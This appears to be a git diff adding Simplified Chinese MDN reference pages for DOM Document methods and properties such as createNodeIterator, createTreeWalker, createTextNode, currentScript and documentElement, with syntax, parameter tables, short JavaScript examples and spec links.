+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
事件模块传递给 createEvent的Event type事件初始化方法
DOM Level 2 Events
User Interface event module"UIEvents"event.initUIEvent
Mouse event module"MouseEvents"event.initMouseEvent
Mutation event module"MutationEvents"event.initMutationEvent
HTML event module"HTMLEvents"event.initEvent
DOM Level 3 Events
User Interface event module"UIEvent", "UIEvents"event.initUIEvent
Mouse event module"MouseEvent", "MouseEvents"event.initMouseEvent
Mutation event module"MutationEvent", "MutationEvents"event.initMutationEvent
Mutation name event module (not implemented in Gecko as of June 2006)"MutationNameEvent"event.initMutationNameEvent
Text event module"TextEvent" (Gecko also supports "TextEvents")event.initTextEvent (not implemented)
Keyboard event module"KeyboardEvent" (Gecko also supports "KeyEvents")event.initKeyEvent (Gecko-specific; the DOM 3 Events working draft uses initKeyboardEvent instead)
Custom event module {{gecko_minversion_inline("6.0")}}"CustomEvent"event.initCustomEvent
Basic events module"Event" (Gecko also supports "Events")event.initEvent
SVG 1.1 Scripting
SVG"SVGEvents" (Gecko also supports "SVGEvent")event.initEvent
"SVGZoomEvents" (Gecko also supports "SVGZoomEvent")event.initUIEvent
Other event types supported by Gecko
-"MessageEvent" {{Fx_minversion_inline(3)}} {{Gecko_minversion_inline(1.9)}}event.initMessageEvent
"MouseScrollEvents", "PopupEvents"event.initMouseEvent
"PopupBlockedEvents"event.initPopupBlockedEvent
"XULCommandEvent", "XULCommandEvents"event.initCommandEvent
Progress Events"ProgressEvent"{{domxref("ProgressEvent.initProgressEvent()")}}{{deprecated_inline("22.0")}}{{non-standard_inline()}}
Animation Events"AnimationEvent" (or "WebKitAnimationEvent" for WebKit/Blink-based browsers){{domxref("AnimationEvent.initAnimationEvent()")}}{{deprecated_inline("23.0")}}{{non-standard_inline()}}
Transition Events"TransitionEvent" (or "WebKitTransitionEvent" for WebKit/Blink-based browsers){{domxref("TransitionEvent.initTransitionEvent()")}}{{deprecated_inline("23.0")}}{{non-standard_inline()}}
+ +

有些事件可以使用两种事件类型参数,这是因为DOM Level 3 Events将事件类型参数更改为单数形式,但是仍然支持老的复数形式以向后兼容。

+ +

规范

+ + + +

 

+ +

 

diff --git a/files/zh-cn/web/api/document/createexpression/index.html b/files/zh-cn/web/api/document/createexpression/index.html new file mode 100644 index 0000000000..50636d1874 --- /dev/null +++ b/files/zh-cn/web/api/document/createexpression/index.html @@ -0,0 +1,19 @@ +--- +title: document.createExpression +slug: Web/API/Document/createExpression +translation_of: Web/API/Document/createExpression +--- +

{{ ApiRef() }}

+

该方法将编译生成一个 XPathExpression ,可以用来多次的执行.

+

语法

+
xpathExpr = document.createExpression(xpathText, namespaceURLMapper);
+
+

参数

+ +

{{ Fx_minversion_note("3") }}

+

返回值

+

XPathExpression

+

{{ languages( {"en": "en/DOM/document.createExpression" } ) }}

diff --git a/files/zh-cn/web/api/document/createnodeiterator/index.html b/files/zh-cn/web/api/document/createnodeiterator/index.html new file mode 100644 index 0000000000..1e1b653d7a --- /dev/null +++ b/files/zh-cn/web/api/document/createnodeiterator/index.html @@ -0,0 +1,145 @@ +--- +title: Document.createNodeIterator() +slug: Web/API/Document/createNodeIterator +tags: + - API + - DOM + - Gecko +translation_of: Web/API/Document/createNodeIterator +--- +

{{APIRef("DOM")}}

+ +

返回一个新的 NodeIterator 对象。

+ +

语法

+ +
const nodeIterator = document.createNodeIterator(root[, whatToShow[, filter]]);
+ +

参数

+ +
+
root
+
 {{ domxref("NodeIterator") }}遍历起始处的根节点。
+
whatToShow {{ optional_inline() }}
+
是一个可选的无符号长整型(unsigned long), 是由节点过滤器(NodeFilter)中的常量属性定义的位掩码。这是筛选特定类型节点的便捷方式。其默认值是 0xFFFFFFFF ,代表 SHOW_ALL 常量。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量数字值描述
NodeFilter.SHOW_ALL-1 (即unsigned long 的最大值)显示所有节点。
NodeFilter.SHOW_ATTRIBUTE {{deprecated_inline}}2显示 {{ domxref("Attr") }} 特性节点。这仅在创建以{{ domxref("Attr") }} 特性节点为根节点的{{ domxref("TreeWalker") }}时有意义;在这种情况下,这意味着该特性节点会出现在迭代或遍历的第一位。因为特性节点不会是其他节点的子代,遍历文档树时,特性节点不会出现。
NodeFilter.SHOW_CDATA_SECTION {{deprecated_inline}}8显示 {{ domxref("CDATASection") }} 节点。
NodeFilter.SHOW_COMMENT128显示 {{ domxref("Comment") }} 节点。
NodeFilter.SHOW_DOCUMENT256显示 {{ domxref("Document") }} 节点。
NodeFilter.SHOW_DOCUMENT_FRAGMENT1024显示 {{ domxref("DocumentFragment") }} 节点。
NodeFilter.SHOW_DOCUMENT_TYPE512显示 {{ domxref("DocumentType") }} 节点。
NodeFilter.SHOW_ELEMENT1显示 {{ domxref("Element") }} 节点。
NodeFilter.SHOW_ENTITY {{deprecated_inline}}32显示 {{ domxref("Entity") }} 节点。 这仅在创建以{{ domxref("Entity") }}实体节点为根节点的{{ domxref("TreeWalker") }}时有意义;在这种情况下,这意味着该实体节点会出现在迭代或遍历的第一位。因为实体节点不会是其他节点的子代,遍历文档树时,实体节点不会出现。
NodeFilter.SHOW_ENTITY_REFERENCE {{deprecated_inline}}16显示 {{ domxref("EntityReference") }} 节点。
NodeFilter.SHOW_NOTATION {{deprecated_inline}}2048显示 {{ domxref("Entity") }} 节点。 这仅在创建以{{ domxref("Notation") }}符号节点为根节点的{{ domxref("TreeWalker") }}时有意义;在这种情况下,这意味着该符号节点会出现在迭代或遍历的第一位。因为符号节点不会是其他节点的子代,遍历文档树时,符号节点不会出现。
NodeFilter.SHOW_PROCESSING_INSTRUCTION64显示 {{ domxref("ProcessingInstruction") }} 节点。
NodeFilter.SHOW_TEXT4显示 {{ domxref("Text") }} 节点。
+
+
filter {{ optional_inline() }}
+
是实现 {{ domxref("NodeFilter") }} 接口的对象; 其 acceptNode() 方法会对从根节点开始到子树中的每个节点都调用一次,哪些节点需要进入迭代节点列表等待调用则取决于whatToShow参数(也可以使用一个简单的回调函数代替acceptNode())。该方法需要返回下列常量之一: NodeFilter.FILTER_ACCEPT ,NodeFilter.FILTER_REJECTNodeFilter.FILTER_SKIP(见NodeFilter),参见{{ anch("示例") }}。
+
+ +
注意: 在Gecko12.0{{ geckoRelease("12.0") }}以前,这个方法接收第四个可选的参数(entityReferenceExpansion),这不是DOM4 规范中的一部分,因此被移除了。这个参数表示实体引用节点的子代对于迭代器是否可见。因为浏览器不会创建这样的节点,这个参数没有任何作用。
+ +

示例

+ +
const nodeIterator = document.createNodeIterator(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    {
+      acceptNode(node) {
+        return node.nodeName.toLowerCase() === 'p' ? NodeFilter.FILTER_ACCEPT : NodeFilter.FILTER_REJECT;
+      }
+    }
+);
+const pars = [];
+let currentNode;
+
+while (currentNode = nodeIterator.nextNode()) {
+  pars.push(currentNode);
+}
+
+ +

规范

+ + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#dom-document-createnodeiterator', 'document.createNodeIterator')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Document.createNodeIterator")}}

diff --git a/files/zh-cn/web/api/document/creatensresolver/index.html b/files/zh-cn/web/api/document/creatensresolver/index.html new file mode 100644 index 0000000000..001922bc57 --- /dev/null +++ b/files/zh-cn/web/api/document/creatensresolver/index.html @@ -0,0 +1,44 @@ +--- +title: Document.createNSResolver() +slug: Web/API/Document/createNSResolver +translation_of: Web/API/Document/createNSResolver +--- +

{{ ApiRef("DOM") }}

+ +

创建一个 XPathNSResolver which resolves namespaces with respect to the definitions in scope for 指定节点

+ +

语法

+ +
nsResolver = document.createNSResolver(node);
+
+ +

参数

+ + + +

返回值

+ + + +

注意

+ +

Adapts any DOM node to resolve namespaces so that an XPath expression can be easily evaluated relative to the context of the node where it appeared within the document. This adapter works like the DOM Level 3 method lookupNamespaceURI on nodes in resolving the namespaceURI from a given prefix using the current information available in the node's hierarchy at the time lookupNamespaceURI is called. Also correctly resolves the implicit xml prefix.

+ +

Note, XPath defines QNames without prefix to match only elements in the null namespace. There is no way in XPath to pick up the default namespace as applied to a regular element reference (e.g., p[@id='_myid'] for xmlns='http://www.w3.org/1999/xhtml'). To match default elements in a non-null namespace, you either have to refer to a particular element using a form such as *namespace-uri()=http://www.w3.org/1999/xhtml and name()=p[@id='_myid'] (this approach works well for dynamic XPath expressions where the namespaces might not be known) or use prefixed name tests, and create a namespace resolver mapping the prefix to the namespace. Read more on how to create a user defined namespace resolver if you wish to take the latter approach.

+ +

createNSResolver was introduced in DOM Level 3.

+ +

参见

+ + + +

规范

+ +

DOM Level 3 XPath Specification: createNSResolver

diff --git a/files/zh-cn/web/api/document/createprocessinginstruction/index.html b/files/zh-cn/web/api/document/createprocessinginstruction/index.html new file mode 100644 index 0000000000..7061666c12 --- /dev/null +++ b/files/zh-cn/web/api/document/createprocessinginstruction/index.html @@ -0,0 +1,46 @@ +--- +title: Document.createProcessingInstruction() +slug: Web/API/Document/createProcessingInstruction +translation_of: Web/API/Document/createProcessingInstruction +--- +

{{APIRef("DOM")}}

+ +

createProcessingInstruction() 创建一个新的处理指令节点,并返回。

+ +

Syntax

+ +
Processing instruction node = document.createProcessingInstruction(target, data)
+
+ +

Parameters

+ + + +

异常

+ +
+
NOT_SUPPORTED_ERR
+
Thrown if you attempt to create a processing instruction node on an HTML document in Gecko 9 {{ geckoRelease("9.0") }} or earlier. In Gecko 10.0 {{ geckoRelease("10.0") }} and later, you can use this method on HTML documents.
+
DOM_INVALID_CHARACTER
+
Thrown if you try to add an invalid processing instruction target (it should be an XML name besides any case combination of the letters "xml") or if the closing processing instruction sequence ("?>") is added as part of the data, so unescaped user-provided data cannot be safely used without escaping or otherwise dealing with such situations.
+
+ +

实例

+ +
var docu = new DOMParser().parseFromString('<xml></xml>',  "application/xml")
+
+var pi = docu.createProcessingInstruction('xml-stylesheet', 'href="mycss.css" type="text/css"');
+
+docu.insertBefore(pi, docu.firstChild);
+
+alert(new XMLSerializer().serializeToString(docu));
+// 弹出框内容: <?xml-stylesheet href="mycss.css" type="text/css"?><xml/>
+
+ +

规范

+ +

DOM 4: createProcessingInstruction

diff --git a/files/zh-cn/web/api/document/createrange/index.html b/files/zh-cn/web/api/document/createrange/index.html new file mode 100644 index 0000000000..a4e854d43b --- /dev/null +++ b/files/zh-cn/web/api/document/createrange/index.html @@ -0,0 +1,36 @@ +--- +title: Document.createRange() +slug: Web/API/Document/createRange +tags: + - API + - Range +translation_of: Web/API/Document/createRange +--- +
{{APIRef("DOM")}}
+ +

返回一个 {{domxref("Range")}} 对象。

+ +

语法

+ +
range = document.createRange();
+
+ +

range 是一个 {{domxref("Range")}} 对象。

+ +

例子

+ +
var range = document.createRange();
+
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+
+ +

注意

+ +

一旦一个 Range 对象被建立,在使用他的大多数方法之前需要去设置他的临界点。

+ +

Specification

+ + diff --git a/files/zh-cn/web/api/document/createtextnode/index.html b/files/zh-cn/web/api/document/createtextnode/index.html new file mode 100644 index 0000000000..82ccfc772a --- /dev/null +++ b/files/zh-cn/web/api/document/createtextnode/index.html @@ -0,0 +1,85 @@ +--- +title: Document.createTextNode() +slug: Web/API/Document/createTextNode +tags: + - API + - DOM + - Document + - 参考 + - 方法 +translation_of: Web/API/Document/createTextNode +--- +
{{APIRef("DOM")}}
+ +

创建一个新的{{domxref("Text", "文本")}}节点。这个方法可以用来转义 HTML 字符。

+ +

语法

+ +
var text = document.createTextNode(data);
+
+ + + +

示例

+ +
<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+<title>createTextNode 示例</title>
+</head>
+
+<body>
+  <button value="好耶!">好耶!</button>
+  <button value="坏耶!">坏耶!</button>
+  <button value="Rikka! ">Rikka!</button>
+  <button value="日卡卡!">日卡卡!</button>
+
+  <hr />
+
+  <p id="p1">段落的第一行。</p>
+
+  <script>
+  const p1 = document.getElementById("p1"),
+  buttons = document.body.querySelectorAll(":scope > button");
+  function addTextNode(text) {
+    p1.appendChild( document.createTextNode(text) );
+  }
+  buttons.forEach(button =>
+    button.addEventListener("click", () =>
+      addTextNode(button.value)
+    )
+  );
+  </script>
+</body>
+</html>
+
+ +

{{EmbedLiveSample('Example')}}

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-document-createtextnode', 'Document: createTextNode')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.createTextNode")}}

diff --git a/files/zh-cn/web/api/document/createtreewalker/index.html b/files/zh-cn/web/api/document/createtreewalker/index.html new file mode 100644 index 0000000000..5f39fe11ed --- /dev/null +++ b/files/zh-cn/web/api/document/createtreewalker/index.html @@ -0,0 +1,162 @@ +--- +title: document.createTreeWalker() +slug: Web/API/Document/createTreeWalker +tags: + - API + - DOM + - Reference + - 方法 遍历 迭代器 +translation_of: Web/API/Document/createTreeWalker +--- +
{{ApiRef("Document")}}
+ +

document.createTreeWalker() 方法,能创建并返回一个 {{domxref("TreeWalker")}} 对象。

+ +

语法

+ +
treeWalker = document.createTreeWalker(root, whatToShow, filter, entityReferenceExpansion);
+
+ +

参数

+ +
+
root
+
是遍历这个 {{domxref("TreeWalker")}} 的根节点(root {{domxref("Node")}})。通常这是文档的一个元素。
+
whatToShow {{optional_inline}}
+
一个无符号长整型,表示一个整合自 NodeFilter 常量属性的位掩码。这是筛选特定类型节点的便捷方式。默认为 0xFFFFFFFF,表示 SHOW_ALL 常量。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量数值描述
NodeFilter.SHOW_ALL-1 (that is the max value of unsigned long)显示所有节点。
NodeFilter.SHOW_ATTRIBUTE {{deprecated_inline}}2显示特性{{ domxref("Attr") }}节点。这只在当以一个特性节点{{ domxref("Attr") }}为起点节点的{{ domxref("TreeWalker") }} 中有意义;在这种情况下,这意味着特性节点会出现在迭代或遍历第一次出现的位置。因为特性节点没有其他节点一样的子节点,所以在文档树中的遍历不会出现特性节点。
NodeFilter.SHOW_CDATA_SECTION {{deprecated_inline}}8显示CDTA {{domxref("CDATASection")}} 节点.
NodeFilter.SHOW_COMMENT128显示注释{{domxref("Comment")}}节点
NodeFilter.SHOW_DOCUMENT256显示文档{{domxref("Document")}}节点
NodeFilter.SHOW_DOCUMENT_FRAGMENT1024显示文档片段{{domxref("DocumentFragment")}}节点
NodeFilter.SHOW_DOCUMENT_TYPE512显示文档类型{{domxref("DocumentType")}}节点
NodeFilter.SHOW_ELEMENT1显示元素{{domxref("Element")}}节点
NodeFilter.SHOW_ENTITY {{deprecated_inline}}32显示实体{{domxref("Entity")}}节点。This is meaningful only when creating a {{ domxref("TreeWalker") }} with an {{ domxref("Entity") }} node as its root; in this case, it means that the {{ domxref("Entity") }} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.
NodeFilter.SHOW_ENTITY_REFERENCE {{deprecated_inline}}16显示实体引用 {{ domxref("EntityReference") }} 节点。
NodeFilter.SHOW_NOTATION {{deprecated_inline}}2048显示符号{{ domxref("Notation") }} 节点。 This is meaningful only when creating a {{ domxref("TreeWalker") }} with a {{ domxref("Notation") }} node as its root; in this case, it means that the {{ domxref("Notation") }} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.
NodeFilter.SHOW_PROCESSING_INSTRUCTION64显示处理指令 {{ domxref("ProcessingInstruction") }}节点。
NodeFilter.SHOW_TEXT4顯示文字節點({{ domxref("Text") }} nodes).
+
+
filter {{optional_inline}}
+
一个可选的 {{domxref("NodeFilter")}},即一个具有 acceptNode 方法的对象,此方法被 {{domxref("TreeWalker")}} 调用以决定是否接受已通过 whatToShow 检查的节点。
+
entityReferenceExpansion {{optional_inline}} {{obsolete_inline}}
+
一个 {{domxref("Boolean")}} 标识,指示当丢弃一个 {{domxref("EntityReference")}} 时是否同时丢弃其子树。
+
+ +

返回值

+ +

一个新的 {{domxref("TreeWalker")}} 对象。

+ +

示例

+ +

以下示例遍历 body 下的所有节点,将节点集合缩小至元素,简单地传递每个可接受的节点(也可在 acceptNode() 方法中缩小集合),然后利用创建的 TreeWalker 迭代器在节点上推进(现在是所有的元素)并把它们推入一个数组。

+ +
var treeWalker = document.createTreeWalker(
+  document.body,
+  NodeFilter.SHOW_ELEMENT,
+  { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+  false
+);
+
+var nodeList = [];
+var currentNode = treeWalker.currentNode;
+
+while(currentNode) {
+  nodeList.push(currentNode);
+  currentNode = treeWalker.nextNode();
+}
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}{{Spec2('DOM WHATWG')}}Removed the expandEntityReferences parameter.
+ Made the whatToShow and filter parameters optionals.
{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.Document.createTreeWalker")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/currentscript/index.html b/files/zh-cn/web/api/document/currentscript/index.html new file mode 100644 index 0000000000..a54cb27eb8 --- /dev/null +++ b/files/zh-cn/web/api/document/currentscript/index.html @@ -0,0 +1,68 @@ +--- +title: document.currentScript +slug: Web/API/Document/currentScript +tags: + - API + - DOM + - Property + - Reference + - 参考 + - 属性 +translation_of: Web/API/Document/currentScript +--- +
{{ApiRef("DOM")}}
+ +

Document.currentScript 属性返回当前正在运行的脚本所属的 {{HTMLElement("script")}} 元素。调用此属性的脚本不能是 JavaScript 模块,模块应当使用 {{JSxRef("Statements/import%2Emeta", "import.meta")}} 对象。

+ +

值得注意的是,如果当前正在执行的代码是被其他代码作为回调函数或者事件处理函数调用的,那么 currentScript 属性不会指向任何 {{HTMLElement("script")}} 元素,而是会返回 null。这个属性只在脚本被解析后首次运行时有效。

+ +

语法

+ +
var curScriptElement = document.currentScript;
+
+ +

示例

+ +

下例演示了如何检测当前正在执行脚本的 {{HTMLElement("script")}} 元素是否是以异步模式执行的。

+ +
if (document.currentScript.async) {
+  console.log("Executing asynchronously");
+} else {
+  console.log("Executing synchronously");
+}
+ +

View Live Examples

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("HTML WHATWG", "dom.html#dom-document-currentscript", "Document.currentScript")}}{{Spec2("HTML WHATWG")}}Initial definition
+ +

浏览器兼容性

+ + + +
{{Compat("api.Document.currentScript")}}
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/document/defaultview/index.html b/files/zh-cn/web/api/document/defaultview/index.html new file mode 100644 index 0000000000..a54db93990 --- /dev/null +++ b/files/zh-cn/web/api/document/defaultview/index.html @@ -0,0 +1,33 @@ +--- +title: Document.defaultView +slug: Web/API/Document/defaultView +tags: + - defaultView +translation_of: Web/API/Document/defaultView +--- +
{{ ApiRef() }}
+ +

概述

+ +

在浏览器中,该属性返回当前 document 对象所关联的 window 对象,如果没有,会返回 null

+ +

语法

+ +
var win = document.defaultView;
+
+ +

该属性只读.

+ +

备注

+ +

根据 quirksmode,IE 9 以下版本不支持 defaultView

+ +

规范

+ + + +

{{ languages( {"pl": "pl/DOM/document.defaultView","en": "en/DOM/document.defaultView" } ) }}

diff --git a/files/zh-cn/web/api/document/designmode/index.html b/files/zh-cn/web/api/document/designmode/index.html new file mode 100644 index 0000000000..feb7070b19 --- /dev/null +++ b/files/zh-cn/web/api/document/designmode/index.html @@ -0,0 +1,58 @@ +--- +title: Document.designMode +slug: Web/API/Document/designMode +tags: + - API + - Document + - Property + - Reference + - 参考 + - 属性 + - 文档 + - 编辑 +translation_of: Web/API/Document/designMode +--- +
{{ ApiRef()}}
+ +

document.designMode 控制整个文档是否可编辑。有效值为 "on""off" 。根据规范,该属性默认为 "off" 。Firefox 遵循此标准。早期版本的 Chrome 和 IE默认为 "inherit" 。从 Chrome 43 开始,默认值为 "off" ,并且不再支持  "inherit"。在 IE6 到 IE10 中,该值为大写。

+ +

语法

+ +
var mode = document.designMode;
+document.designMode = "on" || "off";
+ +

示例

+ +

使一个 {{HTMLElement("iframe")}} 的文档可编辑:

+ +
iframeNode.contentDocument.designMode = "on";
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.designMode")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/dir/index.html b/files/zh-cn/web/api/document/dir/index.html new file mode 100644 index 0000000000..c16c102435 --- /dev/null +++ b/files/zh-cn/web/api/document/dir/index.html @@ -0,0 +1,98 @@ +--- +title: Document.dir +slug: Web/API/Document/dir +translation_of: Web/API/Document/dir +--- +

{{ApiRef("")}}

+ +

Document.dir的本质是DOMString,代表了文档的文字朝向,是从左到右(默认)还是从右到左。

+ +

'rtl'(right to left)代表从右到左,'ltr'(left to right)代表从左到右。

+ +

语法

+ +
console.log(document.dir);// "" (译者添加)
+document.dir = "ltr"//(默认);
+document.dir = "rtl";
+dirStr = document.dir;
+document.dir = dirStr;
+
+ +

(译者注:第一次调用该属性时,可能返回空字符串"",译者环境:chrome,版本 53.0.2785.116 m)

+ +

说明

+ + + + + + + + + + + + + + + + +
规范状态评论
{{SpecName("HTML WHATWG", "dom.html#the-dir-attribute:dom-dir", "Document.dir")}}{{Spec2("HTML WHATWG")}}Initial specification
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}} [1]{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

[1] 在Firefox 23之前, Document.dir属性返回 "ltr" 无论在根元素{{htmlelement("html")}} 的dir属性上如何设置。 并且如果在文档标签<html>上设置了方向, Document.dir在改变时不会生效(虽然随后检索Document.dir属性发现他的确改变了)。 但是, 如果这个属性没有被设置在标签 <html> 上并且改变的该属性状态, 无论是页面可是区域的改变还是Document.dir属性的改变都会正确的反映这一变化。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/doctype/index.html b/files/zh-cn/web/api/document/doctype/index.html new file mode 100644 index 0000000000..0f83dfa1c6 --- /dev/null +++ b/files/zh-cn/web/api/document/doctype/index.html @@ -0,0 +1,59 @@ +--- +title: document.doctype +slug: Web/API/Document/doctype +translation_of: Web/API/Document/doctype +--- +
{{ApiRef("DOM")}}
+ +
返回当前文档关联的文档类型定义(DTD). 返回的对象实现了 DocumentType 接口。使用 {{domxref("DOMImplementation.createDocumentType()")}} 方法可以创建一个DocumentType类型的对象。
+ +

语法

+ +
doctype = document.doctype;
+
+ + + +

示例

+ +
var doctypeObj = document.doctype;
+
+console.log(
+  "doctypeObj.name: "           + doctypeObj.name            + "\n" +
+  "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
+  "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
+  "doctypeObj.systemId: "       + doctypeObj.systemId
+);
+ +

附注

+ +

如果当前文档没有DTD,则该属性返回null

+ +

DOM level 2 不支持编辑文档类型定义。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-document-doctype', 'Document: doctype')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.doctype")}}

diff --git a/files/zh-cn/web/api/document/document/index.html b/files/zh-cn/web/api/document/document/index.html new file mode 100644 index 0000000000..d1fb969e87 --- /dev/null +++ b/files/zh-cn/web/api/document/document/index.html @@ -0,0 +1,42 @@ +--- +title: Document() +slug: Web/API/Document/Document +tags: + - API + - DOM + - Document + - 构造器 +translation_of: Web/API/Document/Document +--- +

{{APIRef}}

+ +

Document 构造器创建一个新的 {{domxref("Document")}} 对象,该对象是在浏览器中加载的页面,并作为页面内容的入口点。

+ +

语法

+ +
new Document();
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG','#interface-document','Document')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +
{{Compat("api.Document.Document")}}
diff --git a/files/zh-cn/web/api/document/documentelement/index.html b/files/zh-cn/web/api/document/documentelement/index.html new file mode 100644 index 0000000000..2b1034009e --- /dev/null +++ b/files/zh-cn/web/api/document/documentelement/index.html @@ -0,0 +1,77 @@ +--- +title: document.documentElement +slug: Web/API/Document/documentElement +tags: + - API + - DOM + - Property + - Reference + - 只读 + - 属性 +translation_of: Web/API/Document/documentElement +--- +
{{ApiRef("DOM")}}
+ +

Document.documentElement 是一个会返回文档对象({{domxref("document")}})的根{{domxref("Element", "元素")}}的只读属性(如HTML文档的 {{HTMLElement("html")}} 元素)。

+ +

语法

+ +
var element = document.documentElement;
+
+ +

示例

+ +
const rootElement = document.documentElement;
+const firstTier = rootElement.childNodes;
+
+// firstTier 是由根元素的所有子节点组成的一个 NodeList
+for (let i = 0; i < firstTier.length; i++) {
+   // 使用根节点的每个子节点
+   // 如 firstTier[i]
+}
+ +

备注

+ +

对于任何非空 HTML 文档,调用 document.documentElement 总是会返回一个 {{HTMLElement("html")}} 元素,且它一定是该文档的根元素。借助这个只读属性,能方便地获取到任意文档的根元素。

+ +

HTML 文档通常包含一个子节点 {{HTMLElement("html")}},但在它前面可能还有个 DOCTYPE 声明。XML 文档通常包含多个子节点:根元素,DOCTYPE 声明,和 processing instructions

+ +

所以,应当使用 document.documentElement 来获取根元素, 而不是 {{Domxref("document.firstChild")}}。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM2 Core','core.html#ID-87CD092','Document.documentElement')}}{{Spec2('DOM2 Core')}}
{{SpecName('DOM3 Core','core.html#ID-87CD092','Document.documentElement')}}{{Spec2('DOM3 Core')}}
{{SpecName('DOM4','#dom-document-documentelement','Document.documentElement')}}{{Spec2('DOM4')}}
{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.documentElement")}}

diff --git a/files/zh-cn/web/api/document/documenturi/index.html b/files/zh-cn/web/api/document/documenturi/index.html new file mode 100644 index 0000000000..f3efc6002b --- /dev/null +++ b/files/zh-cn/web/api/document/documenturi/index.html @@ -0,0 +1,55 @@ +--- +title: document.documentURI +slug: Web/API/Document/documentURI +tags: + - API + - DOM + - Document +translation_of: Web/API/Document/documentURI +--- +
{{ApiRef("DOM")}}
+ +
{{domxref("Document")}} 接口的属性 documentURI 以字符串的形式返回文档的位置(location)。
+ +
 
+ +
在最初的DOM3定义中,这个属性是可读/写的。在现代的DOM标准(DOM4)中,它是只读的。
+ +
 
+ +

语法

+ +
var string = document.documentURI;
+
+ +

备注

+ +

HTML 文档有一个 {{domxref("document.URL")}} 属性返回同样的值。但是不像 URLdocumentURI 适用于所有类型的文档。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-document-documenturi','documentURI')}}{{Spec2('DOM WHATWG')}} 
{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}{{Spec2('DOM3 Core')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.documentURI")}}

diff --git a/files/zh-cn/web/api/document/documenturiobject/index.html b/files/zh-cn/web/api/document/documenturiobject/index.html new file mode 100644 index 0000000000..031e345c63 --- /dev/null +++ b/files/zh-cn/web/api/document/documenturiobject/index.html @@ -0,0 +1,26 @@ +--- +title: document.documentURIObject +slug: Web/API/Document/documentURIObject +translation_of: Web/API/Document/documentURIObject +--- +

{{ ApiRef() }}

+

概述

+

该属性返回一个nsIURI 对象,值为当前文档的URI.

+

该属性只能在拥有UniversalXPConnect特权的代码中运行,比如扩展中的代码.如果是web页面中的代码,则该属性默认不存在,必须开启UniversalXPConnect特权才可用.

+

使用特权代码必须小心,不要在一个non-wrapped的content对象上使用该属性 (比如一个XPCNativeWrapper方法处理过的wrappedJSObject). 查看 {{ Bug("324464") }} 了解详情

+

语法

+
var uri = doc.documentURIObject;
+
+

例子

+
// 检测Firefox当前标签中的页面的URI协议是否为'http',
+// 下面的代码必须运行在browser.xul上下文上.
+var uriObj = content.document.documentURIObject;
+var uriPort = uriObj.port;
+
+if (uriObj.schemeIs('http')) {
+  ...
+}
+
+

规范

+

不属于任何公开的规范.

+

{{ languages( { "es": "es/DOM/document.documentURIObject", "fr": "fr/DOM/document.documentURIObject", "ja": "ja/DOM/document.documentURIObject", "en": "en/DOM/document.documentURIObject" } ) }}

